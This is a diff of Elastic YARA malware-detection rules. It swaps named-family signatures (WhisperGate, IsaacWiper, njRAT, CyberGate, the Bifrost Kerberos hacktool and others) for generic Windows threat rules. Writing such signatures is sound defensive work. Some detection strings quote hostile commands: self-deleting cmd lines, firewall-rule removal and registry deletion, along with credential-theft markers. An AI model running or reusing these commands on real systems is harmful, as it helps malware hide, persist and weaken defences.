+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "41e2a6cecb1735e8f09b1ba5dccff3c08afe395b6214396e545347927d1815a8"
+		logic_hash = "6b1ec666f3689638b9db9f041b0a89660b27c32590b747c5da3f4a02f01c7112"
 		score = 75
 		quality = 75
-		tags = "FILE"
-		fingerprint = "fb012fd29d00b1dc06353ebfff62d29cc9d86549d8af10b049213256cbcab09e"
-		threat_name = "Windows.VulnDriver.XTier"
+		tags = "FILE, MEMORY"
+		fingerprint = "be0b1be30cab0789a5df29153187cf812e53cd35dbe31f9527eca2396d7503b5"
 		severity = 50
 		arch_context = "x86"
-		scan_context = "file"
+		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$original_file_name = { 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 4E 00 43 00 50 00 4C 00 2E 00 53 00 59 00 53 00 00 00 }
-		$version = /V\x00S\x00_\x00V\x00E\x00R\x00S\x00I\x00O\x00N\x00_\x00I\x00N\x00F\x00O\x00\x00\x00{0,4}\xbd\x04\xef\xfe[\x00-\xff]{4}(([\x00-\x01][\x00-\x00])([\x00-\x03][\x00-\x00])([\x00-\x00][\x00-\x00])([\x00-\x0c][\x00-\x00])|([\x00-\xff][\x00-\xff])([\x00-\x02][\x00-\x00])([\x00-\xff][\x00-\xff])([\x00-\xff][\x00-\xff])|([\x00-\x00][\x00-\x00])([\x00-\x03][\x00-\x00])([\x00-\xff][\x00-\xff])([\x00-\xff][\x00-\xff])|([\x00-\x01][\x00-\x00])([\x00-\x03][\x00-\x00])([\x00-\xff][\x00-\xff])([\x00-\x0b][\x00-\x00]))/
+		$a1 = { 83 EC 14 8B 45 08 53 56 57 8B F9 BE 49 92 24 09 6A 1C 59 89 7D F8 2B 07 99 F7 F9 89 45 FC 8B 47 04 2B 07 99 F7 F9 89 45 F0 3B C6 0F 84 E5 00 00 00 8D 58 01 8B 47 08 2B 07 99 F7 F9 8B }
 
 	condition:
-		int16 ( uint32(0x3C)+0x5c)==0x0001 and $original_file_name and $version
+		all of them
 }
-rule ELASTIC_Macos_Hacktool_Bifrost_39Bcbdf8 : FILE MEMORY
+rule ELASTIC_Windows_Generic_Threat_4A605E93 : FILE MEMORY
 {
 	meta:
-		description = "Detects Macos Hacktool Bifrost (MacOS.Hacktool.Bifrost)"
+		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
 		author = "Elastic Security"
-		id = "39bcbdf8-86dc-480e-8822-dc9832bb9b55"
-		date = "2021-10-12"
-		modified = "2021-10-25"
+		id = "4a605e93-971d-4257-b382-065159840a4c"
+		date = "2024-01-29"
+		modified = "2024-02-08"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/MacOS_Hacktool_Bifrost.yar#L1-L27"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "e2b64df0add316240b010db7d34d83fc9ac7001233259193e5a72b6e04aece46"
-		logic_hash = "a2ff4f1aca51e80f2b277e9171e99a80a75177d1d17d487de2eb8872832cb0d5"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Generic_Threat.yar#L2232-L2250"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "1a84e25505a54e8e308714b53123396df74df1bde223bb306c0dc6220c1f0bbb"
+		logic_hash = "6ad7afa5bd03916917e2bbf4d736331f4319b20bfde296d7e62315584813699f"
 		score = 75
-		quality = 25
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "e11f6f3a847817644d40fee863e168cd2a18e8e0452482c1e652c11fe8dd769e"
-		severity = 100
+		fingerprint = "58185f9fdf5bbc57cd708d8c963a37824e377a045549f2eb78d5fa501082b687"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "macos"
+		os = "windows"
 
 	strings:
-		$s1 = "[dump | list | askhash | describe | asktgt | asktgs | s4u | ptt | remove | asklkdcdomain]" fullword
-		$s2 = "[-] Error in parseKirbi: %s"
-		$s3 = "[-] Error in parseTGSREP: %s"
-		$s4 = "genPasswordHashPassword:Length:Enc:Username:Domain:Pretty:"
-		$s5 = "storeLKDCConfDataFriendlyName:Hostname:Password:CCacheName:"
-		$s6 = "bifrostconsole-"
-		$s7 = "-kerberoast"
-		$s8 = "asklkdcdomain"
-		$s9 = "askhash"
+		$a1 = { 20 48 8B 19 45 33 C0 48 85 DB 74 65 4C 89 01 48 83 FA FF 75 17 41 8B C0 44 38 03 74 2D 48 8B CB 48 FF C1 FF C0 44 38 01 75 F6 EB 1E 48 83 FA FE 75 1B 41 8B C0 66 44 39 03 74 0F 48 8B }
 
 	condition:
-		3 of them
+		all of them
 }
-rule ELASTIC_Linux_Rootkit_Adore_Fe3Fd09F : FILE MEMORY
+rule ELASTIC_Windows_Generic_Threat_B509Dfc8 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Rootkit Adore (Linux.Rootkit.Adore)"
+		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
 		author = "Elastic Security"
-		id = "fe3fd09f-d170-4bb0-bc8d-6d61bdc22164"
-		date = "2021-04-06"
-		modified = "2021-09-16"
+		id = "b509dfc8-6ec3-4315-a1ec-61e6b65793e7"
+		date = "2024-01-29"
+		modified = "2024-02-08"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Rootkit_Adore.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "f4e532b840e279daf3d206e9214a1b065f97deb7c1487a34ac5cbd7cbbf33e1a"
-		logic_hash = "cc07efb9484562cd870649a38126f08aa4e99ed5ad4662ece0488d9ffd97520e"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Generic_Threat.yar#L2252-L2270"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "9b5124e5e1be30d3f2ad1020bbdb93e2ceeada4c4d36f71b2abbd728bd5292b8"
+		logic_hash = "90b00caf612f56a898b24c28ae6febda3fd11f382ab1deba522bdd2e2ba254b4"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "2bab2a4391359c6a7148417b010887d0754b91ac99820258e849e81f7752069f"
-		severity = 100
+		fingerprint = "bb1e607fe0d84f25c9bd09d31614310e204dce17c4050be6ce7dc6ed9dfd8f92"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 89 C0 89 45 F4 83 7D F4 00 75 17 68 E4 A1 04 08 }
+		$a1 = { 28 00 00 0A 6F 29 00 00 0A 6F 2A 00 00 0A 13 04 11 04 28 22 00 00 0A 28 2B 00 00 0A 2D 0D 11 04 28 22 00 00 0A 28 2C 00 00 0A 26 06 28 2D 00 00 0A 2C 0F 06 73 28 00 00 0A 13 05 11 05 6F 2E 00 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Ransomware_Whispergate_C80F3B4B : FILE MEMORY
+rule ELASTIC_Windows_Generic_Threat_7A49053E : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Ransomware Whispergate (Windows.Ransomware.WhisperGate)"
+		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
 		author = "Elastic Security"
-		id = "c80f3b4b-f91b-4b8d-908e-f64c2c5d4b30"
-		date = "2022-01-17"
-		modified = "2022-01-17"
+		id = "7a49053e-5ae4-4141-9471-4a92e0ee226e"
+		date = "2024-01-29"
+		modified = "2024-02-08"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Ransomware_WhisperGate.yar#L1-L20"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "a196c6b8ffcb97ffb276d04f354696e2391311db3841ae16c8c9f56f36a38e92"
-		logic_hash = "04452141a867d4f6fce618c21795cc142a1265b56c62ecb9e579003d36b4b2b9"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Generic_Threat.yar#L2272-L2292"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "29fb2b18cfd72a2966640ff59e67c89f93f83fc17afad2dfcacf9f53e9ea3446"
+		logic_hash = "6db95f20a2bcdfd7cb37cb33dae6351dd19f51a8c3cae54b1bb034af17378094"
 		score = 75
-		quality = 75
+		quality = 69
 		tags = "FILE, MEMORY"
-		fingerprint = "e8ad6a7cfabf96387deee56f38b0f0ba6d8fe85e7be9f153ccf72d69ee5db1c9"
-		severity = 100
+		fingerprint = "49c41c5372da04b770d903013ee7f71193a4650340fd4245d6d5bceff674d637"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$buffer = { E8 ?? ?? ?? ?? BE 20 40 40 00 29 C4 8D BD E8 DF FF FF E8 ?? ?? ?? ?? B9 00 08 00 00 F3 A5 }
-		$note = { 59 6F 75 72 20 68 61 72 64 20 64 72 69 76 65 20 68 61 73 20 62 65 65 6E 20 63 6F 72 72 75 70 74 65 64 2E 0D 0A }
+		$a1 = { 5D 76 3F 3F 32 40 59 41 50 41 58 49 40 5A 66 }
+		$a2 = { 41 75 74 68 6F 72 69 7A 61 26 42 61 73 69 63 48 24 }
+		$a3 = { 4A 7E 4C 65 61 76 65 47 65 74 51 75 65 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Ransomware_Whispergate_3476008E : FILE MEMORY
+rule ELASTIC_Windows_Generic_Threat_Fca7F863 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Ransomware Whispergate (Windows.Ransomware.WhisperGate)"
+		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
 		author = "Elastic Security"
-		id = "3476008e-1c98-4606-b60b-7fef0e360711"
-		date = "2022-01-18"
-		modified = "2022-01-18"
+		id = "fca7f863-8d5b-4b94-8f60-a72c76782d1d"
+		date = "2024-01-29"
+		modified = "2024-02-08"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Ransomware_WhisperGate.yar#L22-L43"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "9ef7dbd3da51332a78eff19146d21c82957821e464e8133e9594a07d716d892d"
-		logic_hash = "729818df1b6b82fc00eba0fe1c9139ec4746e1775146ab7fdea9e25dec1cddea"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Generic_Threat.yar#L2294-L2312"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "9d0e786dd8f1dc05eae910c6bcf15b5d05b4b6b0543618ca0c2ff3c4bb657af3"
+		logic_hash = "ad45fe6e8257d012824b36aaee1beccb82c1b78031de86c1f1dd26d5be88aa6f"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "0b8caff8cf9342bd50053712bf4c9aeab68532e340cc5e6cf400105afc150e39"
-		severity = 100
+		fingerprint = "4b391399465f18b01d7cbdf222dd7249f4fff0a5b4b931e568d92f47cc283a27"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a1 = "cmd.exe /min /C ping 111.111.111.111 -n 5 -w 10 > Nul & Del /f /q \"%s\"" ascii fullword
-		$a2 = "%.*s.%x" wide fullword
-		$a3 = "A:\\Windows" wide fullword
-		$a4 = ".ONETOC2" wide fullword
+		$a1 = { 55 89 E5 8D 64 24 F4 53 89 C3 6A 0C 8D 45 F4 50 6A 00 FF 53 10 50 FF 53 0C 50 FF 53 24 8B 45 F4 89 43 2C 03 40 3C 8B 40 50 89 43 34 6A 40 68 00 30 00 00 FF 73 34 6A 00 FF 13 89 43 30 8B 4B 34 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Wiper_Isaacwiper_239Cd2Dc : FILE MEMORY
+rule ELASTIC_Windows_Generic_Threat_Cafbd6A3 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Wiper Isaacwiper (Windows.Wiper.IsaacWiper)"
+		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
 		author = "Elastic Security"
-		id = "239cd2dc-6f93-43fa-98e8-ad7a0edb8a8a"
-		date = "2022-03-04"
-		modified = "2022-04-12"
+		id = "cafbd6a3-c367-467d-b305-fb262e4d6d07"
+		date = "2024-01-29"
+		modified = "2024-02-08"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Wiper_IsaacWiper.yar#L1-L24"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "13037b749aa4b1eda538fda26d6ac41c8f7b1d02d83f47b0d187dd645154e033"
-		logic_hash = "102ffe215b1e1c39e1225cb39dfeb10a20a08c5b10f836490fc1501c6eb9e930"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Generic_Threat.yar#L2314-L2333"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "97081a51aa016d0e6c9ecadc09ff858bf43364265a006db9d7cc133f8429bc46"
+		logic_hash = "28813fc8a49b6ec3fe7675409fde923f0f30851429a526c142e0a228b4e0efa6"
 		score = 75
-		quality = 75
+		quality = 71
 		tags = "FILE, MEMORY"
-		fingerprint = "a9c193d7c60b0c793c299b23f672d6428ceb229f2ceb2acbfc1124387954b244"
-		severity = 100
+		fingerprint = "d3237c30fb6eef10b89dc9138572f781cc7d9dad1524e2e27eee82c50f863fbb"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a1 = "C:\\ProgramData\\log.txt" wide fullword
-		$a2 = "system physical drive -- FAILED" wide fullword
-		$a3 = "-- system logical drive: " wide fullword
-		$a4 = "start erasing system logical drive " wide fullword
-		$a5 = "-- logical drive: " wide fullword
-		$a6 = "-- start erasing logical drive " wide fullword
+		$a1 = { 6C 6B 73 6A 66 68 67 6C 6B 6A 66 73 64 67 31 33 31 }
+		$a2 = { 72 65 67 20 44 65 6C 65 74 65 20 22 48 4B 4C 4D 5C 53 4F 46 54 57 41 52 45 5C 4D 69 63 72 6F 73 6F 66 74 5C 57 69 6E 64 6F 77 73 20 4E 54 5C 43 75 72 72 65 6E 74 56 65 72 73 69 6F 6E 5C 52 75 6E 4F 6E 63 65 22 20 2F 66 20 3E 20 6E 75 6C }
 
 	condition:
-		5 of them
+		all of them
 }
-rule ELASTIC_Windows_Trojan_Njrat_30F3C220 : FILE MEMORY
+rule ELASTIC_Windows_Generic_Threat_D8F834A9 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Njrat (Windows.Trojan.Njrat)"
+		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
 		author = "Elastic Security"
-		id = "30f3c220-b8dc-45a1-bcf0-027c2f76fa63"
-		date = "2021-06-13"
-		modified = "2021-10-04"
+		id = "d8f834a9-41b7-4fc9-8100-87b9b07c0bc7"
+		date = "2024-01-29"
+		modified = "2024-02-08"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Njrat.yar#L1-L24"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "741a0f3954499c11f9eddc8df7c31e7c59ca41f1a7005646735b8b1d53438c1b"
-		logic_hash = "76347165829415646f943bb984cd17ca138cf238d03f114c498dbcec081d5ae3"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Generic_Threat.yar#L2335-L2353"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "c118c2064a5839ebd57a67a7be731fffe89669a8f17c1fe678432d4ff85e7929"
+		logic_hash = "9fa1a65f3290867e4c59f14242f7261741e792b8be48c053ac320a315f2c1beb"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "d15e131bca6beddcaecb20fffaff1784ad8a33a25e7ce90f7450d1a362908cc4"
-		severity = 100
+		fingerprint = "fcf7fc680c762ffd9293a84c9ac2ba34b18dc928417ebdabd6dfa998f96ed1f6"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a1 = "get_Registry" ascii fullword
-		$a2 = "SEE_MASK_NOZONECHECKS" wide fullword
-		$a3 = "Download ERROR" wide fullword
-		$a4 = "cmd.exe /c ping 0 -n 2 & del \"" wide fullword
-		$a5 = "netsh firewall delete allowedprogram \"" wide fullword
-		$a6 = "[+] System : " wide fullword
+		$a1 = { 83 C4 F4 53 56 57 8B F9 8B F2 8B D8 33 D2 8A 55 08 0F AF 53 30 D1 FA 79 03 83 D2 00 03 53 30 8B 43 34 E8 62 48 04 00 89 45 FC 68 20 00 CC 00 8B 45 20 50 57 56 8B 45 FC 8B 10 FF 52 20 }
 
 	condition:
-		3 of them
+		all of them
 }
-rule ELASTIC_Windows_Trojan_Njrat_Eb2698D2 : FILE MEMORY
+rule ELASTIC_Windows_Generic_Threat_De3F91C6 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Njrat (Windows.Trojan.Njrat)"
+		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
 		author = "Elastic Security"
-		id = "eb2698d2-c9fa-4b0b-900f-1c4c149cca4b"
-		date = "2023-05-04"
-		modified = "2023-06-13"
+		id = "de3f91c6-bca8-4ed6-8ba3-a53903556903"
+		date = "2024-01-31"
+		modified = "2024-02-08"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Njrat.yar#L26-L44"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "d537397bc41f0a1cb964fa7be6658add5fe58d929ac91500fc7770c116d49608"
-		logic_hash = "c32a641f2d639f56a8137b3e0d0be3261fba30084eeba9d1205974713413af9f"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Generic_Threat.yar#L2355-L2373"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "e2cd4a8ccbf4a3a93c1387c66d94e9506b5981357004929ce5a41fcedfffb20f"
+		logic_hash = "032ac2adb11782d823f50bfedf4e4decb731dbe7d3abbb3b05ccff598ba7edb8"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "8eedcdabf459de87e895b142cd1a1b8c0e403ad8ec6466bc6ca493dd5daa823b"
-		severity = 100
+		fingerprint = "bd994a85b967e56628a3fcd784e4d73cf6bd9f34a222d1bb52b1e87b775fdd06"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a1 = { 24 65 66 65 39 65 61 64 63 2D 64 34 61 65 2D 34 62 39 65 2D 62 38 61 62 2D 37 65 34 37 66 38 64 62 36 61 63 39 }
+		$a1 = { 55 8B EC 56 8B 75 08 80 7E 04 00 74 08 FF 36 E8 0B 41 00 00 59 83 26 00 C6 46 04 00 5E 5D C3 55 8B EC 8B 45 08 8B 4D 0C 3B C1 75 04 33 C0 5D C3 83 C1 05 83 C0 05 8A 10 3A 11 75 18 84 D2 74 EC }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Cryptominer_Attribute_3683D149 : FILE MEMORY
+rule ELASTIC_Windows_Generic_Threat_F0516E98 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Cryptominer Attribute (Linux.Cryptominer.Attribute)"
+		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
 		author = "Elastic Security"
-		id = "3683d149-fa9c-4dbb-85b9-8ce2b1d1d128"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "f0516e98-57e1-4e88-b49d-afeff21f6915"
+		date = "2024-01-31"
+		modified = "2024-02-08"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Cryptominer_Attribute.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "ec9e74d52d745275718fe272bfd755335739ad5f680f73f5a4e66df6eb141a63"
-		logic_hash = "71aa8aa4171671af4aa0271b64da95ac1d8766de12a949c97ebcac9369224ecd"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Generic_Threat.yar#L2375-L2394"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "21d01bd53f43aa54f22786d7776c7bc90320ec6f7a6501b168790be46ff69632"
+		logic_hash = "28f5b1a05d90745f432aee6bb9da3855d70b18d556153059794c5e53bbd5117c"
 		score = 75
-		quality = 73
+		quality = 71
 		tags = "FILE, MEMORY"
-		fingerprint = "31f45578eab3c94cff52056a723773d41aaad46d529b1a2063a0610d5948a633"
-		severity = 100
+		fingerprint = "c43698c42411080f4df41f0f92948bc5d545f46a060169ee059bb47efefa978c"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 20 74 6F 20 66 61 73 74 29 20 6F 72 20 39 20 28 61 75 74 6F }
+		$a1 = { 69 66 20 65 78 69 73 74 20 25 73 20 67 6F 74 6F 20 3A 72 65 70 65 61 74 }
+		$a2 = { 41 42 43 44 45 46 47 48 49 4A 4B 4C 4D 4E 4F 50 51 52 53 54 55 56 57 58 59 5A 61 62 63 64 65 66 67 68 69 6A 6B 6C 6D 6F 70 71 72 73 74 75 76 77 78 79 7A 30 31 32 33 34 35 36 37 38 39 5F }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Trojan_Cybergate_517Aac7D : FILE MEMORY
+rule ELASTIC_Windows_Generic_Threat_3C4D9Cbe : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Cybergate (Windows.Trojan.CyberGate)"
+		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
 		author = "Elastic Security"
-		id = "517aac7d-2737-4917-9aa1-c0bd1c3e9801"
-		date = "2022-02-28"
-		modified = "2022-04-12"
+		id = "3c4d9cbe-700f-4f3e-8e66-d931d5c90d3e"
+		date = "2024-01-31"
+		modified = "2024-02-08"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_CyberGate.yar#L1-L23"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "07b8f25e7b536f5b6f686c12d04edc37e11347c8acd5c53f98a174723078c365"
-		logic_hash = "50e061d0c358655c03b95ccbe2d05e252501c3e6afd21dd20513019cd67e6147"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Generic_Threat.yar#L2396-L2414"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "21d01bd53f43aa54f22786d7776c7bc90320ec6f7a6501b168790be46ff69632"
+		logic_hash = "b32f9a3b86c60d4d69c59250ac59e93aee70ede890b059b13be999adbe043d2c"
 		score = 75
-		quality = 48
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "3d998bda8e56de6fd6267abdacffece8bcf1c62c2e06540a54244dc6ea816825"
-		severity = 100
+		fingerprint = "15be51c438b7b2a167e61e35821445404a38c2f8c3e037061a1eba4bf0ded2b5"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a1 = "IELOGIN.abc" ascii fullword
-		$a2 = "xxxyyyzzz.dat" ascii fullword
-		$a3 = "_x_X_PASSWORDLIST_X_x_" ascii fullword
-		$a4 = "L$_RasDefaultCredentials#0" ascii fullword
-		$a5 = "\\signons1.txt" ascii fullword
+		$a1 = { 55 8B EC 53 56 57 8B 55 08 8B DA 8B 7A 3C 03 FA 66 81 3F 50 45 75 54 03 5F 78 8B 4B 18 8B 73 20 8B 7B 24 03 F2 03 FA FC 55 8B 6D 0C AD 03 C2 96 87 FD 51 33 C9 80 C1 0F F3 A6 72 0C 96 59 87 FD }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Trojan_Cybergate_9996D800 : FILE MEMORY
+rule ELASTIC_Windows_Generic_Threat_Deb82E8C : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Cybergate (Windows.Trojan.CyberGate)"
+		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
 		author = "Elastic Security"
-		id = "9996d800-a833-4535-972b-3ee320215bb6"
-		date = "2022-02-28"
-		modified = "2022-04-12"
+		id = "deb82e8c-57dc-47ea-a786-b4e1ae41a40f"
+		date = "2024-01-31"
+		modified = "2024-02-08"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_CyberGate.yar#L25-L43"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "07b8f25e7b536f5b6f686c12d04edc37e11347c8acd5c53f98a174723078c365"
-		logic_hash = "efefc171b6390c9792145973708358f62b18b8d0180feacaf5b9267563c3f7cc"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Generic_Threat.yar#L2416-L2435"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "0f5791588a9898a3db29326785d31b52b524c3097370f6aa28564473d353cd38"
+		logic_hash = "c24baecab39c72f6bb30713022297cb9fb41ef5339a353702f3f780a630d5b27"
 		score = 75
-		quality = 75
+		quality = 71
 		tags = "FILE, MEMORY"
-		fingerprint = "eb39d2ff211230aedcf1b5ec0d1dfea108473cc7cba68f5dc1a88479734c02b0"
-		severity = 100
+		fingerprint = "3429ecf8f509c6833b790156e61f0d1a6e0dc259d4891d6150a99b5cb3f0f26e"
+		severity = 50
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a1 = { 24 08 8B 44 24 08 83 C4 14 5D 5F 5E 5B C3 55 8B EC 83 C4 F0 }
+		$a1 = { 50 6F 76 65 72 74 79 20 69 73 20 74 68 65 20 70 61 72 65 6E 74 20 6F 66 20 63 72 69 6D 65 2E }
+		$a2 = { 2D 20 53 79 73 74 65 6D 4C 61 79 6F 75 74 20 25 64 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Trojan_Cybergate_C219A2F3 : FILE MEMORY
+rule ELASTIC_Windows_Generic_Threat_278C589E : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Cybergate (Windows.Trojan.CyberGate)"
+		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
 		author = "Elastic Security"
-		id = "c219a2f3-5ae2-4cdf-97d7-2778954ee826"
-		date = "2023-05-04"
